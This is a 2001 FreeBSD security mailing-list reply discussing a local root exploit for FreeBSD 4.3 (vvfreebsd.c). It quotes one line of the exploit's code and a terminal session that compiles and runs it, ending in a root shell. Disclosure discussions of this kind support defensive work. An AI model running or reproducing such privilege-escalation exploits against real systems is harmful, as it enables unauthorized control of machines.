From owner-freebsd-security  Thu Jul 12  9: 2:13 2001
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From: "Przemyslaw Frasunek" <venglin@freebsd.lublin.pl>
To: "Jason DiCioccio" <geniusj@bluenugget.net>,
	"Matjaz Martincic" <matjaz.martincic@hermes.si>,
	<security@FreeBSD.ORG>
References: <FED7EB450413D511ABC100B0D02117321F8CAE@hal9000.hermes.si> <02a201c10ae3$ece26b00$bf960340@jason8bo2vxz5e>
Subject: Re: FreeBSD 4.3 local root
Date: Thu, 12 Jul 2001 17:59:28 +0200
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> The binary must be named vv..
> Name the binary 'vv' and try again

No, because argv[0] is exec()ed:

  if(!execle(av[0],"vv",NULL,environ))
[...]

riget:venglin:~> cc -o dupa vvfreebsd.c
riget:venglin:~> ./dupa
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe72
child=81380
Password:done

# id
uid=0(root) gid=1001(users) groups=1001(users), 99(rexec)

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